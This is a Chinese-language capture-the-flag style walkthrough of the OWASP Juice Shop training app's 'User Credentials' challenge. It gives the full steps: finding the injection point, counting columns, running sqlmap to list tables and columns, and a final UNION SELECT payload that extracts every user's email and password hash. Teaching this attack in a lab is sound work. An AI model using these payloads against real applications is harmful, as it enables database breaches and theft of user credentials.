【juice-shop】★★★★ User Credentials:通过 SQL 注入获取所有用户凭据

通过商品搜索接口发现 SQL 注入漏洞,使用 UNION SELECT 攻击获取 Users 表中所有用户的邮箱和密码哈希,完成数据泄露挑战。

【juice-shop】★★★★ User Credentials:通过 SQL 注入获取所有用户凭据

任务简报

🎯 挑战目标
通过 SQL 注入获取所有用户凭据列表。
💡 官方提示 (Hints)
1. 收集关于储存用户数据的地点和如何处理的信息,然后制作一个相应的 UNION SELECT 攻击。
2. 尝试找到一个端点,使你能够影响从服务器检索的数据。
3. 构造一个 UNION SELECT 攻击字符串,将另一张表中的数据加入到原始结果中。
4. 你可能需要逐步解决一些查询语法问题,基本上是从一个错误跳到下一个错误。
5. 如同"订购 2014 年圣诞特惠套餐"和"通过 SQL 注入窃取整个数据库模式定义",这些操作无法通过应用程序前端实现。
## 实战:复现漏洞

步骤1:发现注入点

目标接口为商品搜索 API,通过首页搜索功能获取请求包:

1
2
GET /rest/products/search?q= HTTP/1.1
Host: 127.0.0.1:3000

验证注入点:

1
GET /rest/products/search?q='))--

结果: 返回错误,确认存在 SQL 注入漏洞。

步骤2:确定列数

使用 ORDER BY 逐步增加列数,直到出现错误:

1
2
3
4
5
-- 测试 9 列
'))  ORDER BY 9--

-- URL 编码格式
'))+order+by+9--

结果: 确认查询结果共有 9 列

步骤3:使用 SQLMap 获取数据库结构

第一步:保存请求包

将请求保存到 request.txt 文件:

1
2
GET /rest/products/search?q=* HTTP/1.1
Host: 127.0.0.1:3000

第二步:列出所有表

1
sqlmap -r request.txt -p q --tables --batch --ignore-code=401

表列表

第三步:列出 Users 表的列

1
sqlmap -r request.txt -p q -T Users --columns --batch --ignore-code=401

Users 表列

步骤4:确定显示位置

构造 UNION SELECT 测试每列的显示位置:

1
1')) UNION SELECT '1','2','3','4','5','6','7','8','9' FROM Users--

URL 编码格式:

1
1'))+UNION+SELECT+'1','2','3','4','5','6','7','8','9'+FROM+Users--

结果: 确认各列的显示位置。

显示位置测试

步骤5:提取所有用户凭据

构造最终的注入 Payload,使用 -1 让正常查询结果不显示:

1
-1')) UNION SELECT id, email, password, '4', '5', '6', '7', '8', '9' FROM Users--

URL 编码格式:

1
-1'))+UNION+SELECT+id,+email,+password,+'4',+'5',+'6',+'7',+'8',+'9'+FROM+Users--

Payload 说明:

部分 说明
-1 让原始查询返回空结果(不存在 ID 为 -1 的商品)
UNION SELECT 将 Users 表数据附加到结果中
id, email, password 提取用户 ID、邮箱和密码哈希
'4','5','6','7','8','9' 填充剩余列(占位符)
FROM Users 数据来源表
-- 注释掉后续 SQL 代码

结果: 成功获取所有用户的邮箱和密码哈希!

获取用户凭据

挑战完成! 🎉

参考

使用 Hugo 构建
主题 StackJimmy 设计